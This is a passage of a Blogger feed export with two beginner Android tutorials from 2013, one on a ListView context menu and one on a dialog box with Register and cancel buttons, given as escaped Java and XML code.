&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:id=&quot;@+id/listView2&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_width=&quot;match_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_height=&quot;wrap_content&quot; &amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;/ListView&amp;gt;&lt;br /&gt;
&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;
&amp;lt;!--&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--------------------------------------- End of XML File -------------------------------------------&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*============================== Java File===========================*/&lt;br /&gt;
public class Context1Activity extends Activity {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; /** Called when the activity is first created. */&lt;br /&gt;
&amp;nbsp; &amp;nbsp; @Override&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; super.onCreate(savedInstanceState);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; setContentView(R.layout.main);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; final ListView lv = (ListView) findViewById(R.id.listView2);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String[] list = new String[] {&quot;Home&quot;,&quot;Office&quot;,&quot;Office2&quot;};&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; BaseAdapter adapter = new ArrayAdapter&amp;lt;String&amp;gt;(this, android.R.layout.simple_list_item_1,list);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lv.setAdapter(adapter);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /*Registering for context Menu */&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; registerForContextMenu(lv);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /*Setting onItemClick listener so that on clicking, it will work accordingly &quot;single click&quot; */&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lv.setTextFilterEnabled(true);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lv.setOnItemClickListener(new OnItemClickListener()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onItemClick(AdapterView&amp;lt;?&amp;gt; arg0, View arg1, int arg2,long arg3) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;if(lv.getItemAtPosition(arg2)==&quot;Home&quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;home();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;if(lv.getItemAtPosition(arg2)==&quot;Office&quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;office();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;if(lv.getItemAtPosition(arg2)==&quot;Office2&quot;){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;office2();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* set onClickListner listener on the whole layout(Liner layout) so that whenever user will click on&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;screen it will provide option for adding location*/&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LinearLayout ll = (LinearLayout)findViewById(R.id.lay);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //registerForContextMenu(ll); //this can be use for open a context menu by clicking on screen&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ll.setOnClickListener(new OnClickListener() {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onClick(View v) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;Toast.makeText(Context1Activity.this, &quot;linerlayout click&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;/*-------------------------Function body for each item in list -------------------------------------*/&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void home(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(Context1Activity.this,&quot;home single click&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void office(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(Context1Activity.this,&quot;office single click&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void office2(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(Context1Activity.this,&quot;office2 single click&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; /*--------------------------------------------------------------------------------------------------*/&lt;br /&gt;
&amp;nbsp; &amp;nbsp; /* For implementing context menu, two methods should be implement,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;* one is onCreateContextMenu for creating context menu which will add menu&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;* other one is OnContextItemSelected for performing action on selecting the items&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; @Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onCreateContextMenu(ContextMenu menu, View v,&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;ContextMenuInfo menuInfo) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// TODO Auto-generated method stub&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreateContextMenu(menu, v, menuInfo);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; MenuInflater inflater = getMenuInflater();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;inflater.inflate(R.menu.activity_main, menu); //select layout which should pop up in context menu&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp;menu.add(&quot;Add Location!&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp;menu.add(&quot;Delete&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp;menu.add(&quot;Rename&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public boolean onContextItemSelected(MenuItem item) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// TODO Auto-generated method stub&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; super.onContextItemSelected(item);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if(item.getTitle()==&quot;Add Location!&quot;){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Addloc();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if(item.getTitle()==&quot;Delete&quot;){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Delete();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if(item.getTitle()==&quot;Rename&quot;){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Rename();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return true;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/*----------------------------function body for context menu----------------------------------*/&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void Addloc(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(this,&quot;Add location&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void Delete(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(this,&quot;Delete Message&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void Rename(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(this,&quot;Rename message&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/*------------------------------------------------------------------------------------------------*/&lt;br /&gt;
}&lt;br /&gt;
/*=========================End of Java File===========================*/&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/5309557963869293386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/context-menu-in-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5309557963869293386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5309557963869293386'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/context-menu-in-android.html' title='Context Menu in Android'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPZ4XE3b_w7gT051DoNnk2FrsgzeMhUxrD59hFHTmn3O4iQZPSoHBrUH-6-lBjvt_6k7EaweblWM8A9vbuKTQJ8_L0dtev9WFPYQysSBW872mQ8W4_WISThqupItcdR8aVCUlSgP5O3xU/s72-c/Context+menu+on+singleTouch.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-2052278012745415635</id><published>2013-03-27T10:13:00.000-07:00</published><updated>2013-03-27T10:13:32.868-07:00</updated><title type='text'>Dialog Box with Positive and Negative Button In Android</title><content type='html'>&lt;br /&gt;
Android Supports many kind of Dialog Boxes, In this post I tried to explain Dialog Box with a XML EditText, a Negative and a Positive Buttons as shown in Fig., In further post I&#39;ll try to explain some other kind of Dialog box. Here is code for Dialog Box ---&amp;gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToVJ7nOdnHGbMT3YhKjPYty4_PIWzh-NB17yIE6MzWzGTb_-P4UNZ-cit3cfdJ0KK7RVn5fNtEmlVnazn4WWsi5q74p4Xq-vyywYBitO3xjAqqwZLaV6wrigNa8Z5FhqQwdsaAZ3DHWM/s1600/DialogBox.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToVJ7nOdnHGbMT3YhKjPYty4_PIWzh-NB17yIE6MzWzGTb_-P4UNZ-cit3cfdJ0KK7RVn5fNtEmlVnazn4WWsi5q74p4Xq-vyywYBitO3xjAqqwZLaV6wrigNa8Z5FhqQwdsaAZ3DHWM/s1600/DialogBox.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
/* ========================Code goes Here!! ===============================*/&lt;br /&gt;
public class DialogActivity extends Activity {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;private static final int DLG_EXAMPLE1=0;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onCreate(Bundle savedInstanceState){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate (savedInstanceState);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.main);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Button b = (Button)findViewById(R.id.ADD_Location );&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;b.setOnClickListener(new OnClickListener() {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;public void onClick(View v) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;showDialog(DLG_EXAMPLE1);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}});&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// Method for Creating Dialog box &lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;protected Dialog onCreateDialog(int id ){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;switch(id){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;case DLG_EXAMPLE1:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return createExampleDialog(); // Function call, body is defined below&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;default&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return null;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// This method is used for setting the dialogbox&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;protected void onPrepareDialog(int id,Dialog loginPrompt){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;switch(id){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;case DLG_EXAMPLE1:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;final EditText first = (EditText)loginPrompt.findViewById(R.id.rf1);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;first.setText(&quot;&quot;); // setting the editbox blank&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;final EditText second = (EditText)loginPrompt.findViewById(R.id.rf2);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;second.setText(&quot;&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;break;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//Body the function createExampleDialog()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;private Dialog createExampleDialog(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;LayoutInflater factory = LayoutInflater.from(this);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;final View textEntryView = factory.inflate(R.layout.userpasslayout, null);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;AlertDialog.Builder alert = new AlertDialog.Builder(this);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setTitle(&quot;Register Yourself!!&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setIcon(R.drawable.logo);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setMessage(&quot;Fill information carefully!&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setView(textEntryView);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;AlertDialog loginPrompt = alert.create();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;//PositiveButton Onclick Listener&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setPositiveButton(&quot;Register&quot;, new DialogInterface.OnClickListener() {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onClick(DialogInterface dialog, int which) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;Toast.makeText(DialogActivity.this, &quot;So you think!&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;return;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;//NegativeButton onclick Listener&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;alert.setNegativeButton(&quot;cancel&quot;, new DialogInterface.OnClickListener() {&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onClick(DialogInterface dialog, int which) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;// NegtiveButton works automatic it will perform cancel of the dialog box;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;return;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return alert.create();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
/*=====================================================================*/&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/2052278012745415635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/dialog-box-with-positive-and-negative.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/2052278012745415635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/2052278012745415635'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/dialog-box-with-positive-and-negative.html' title='Dialog Box with Positive and Negative Button In Android'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 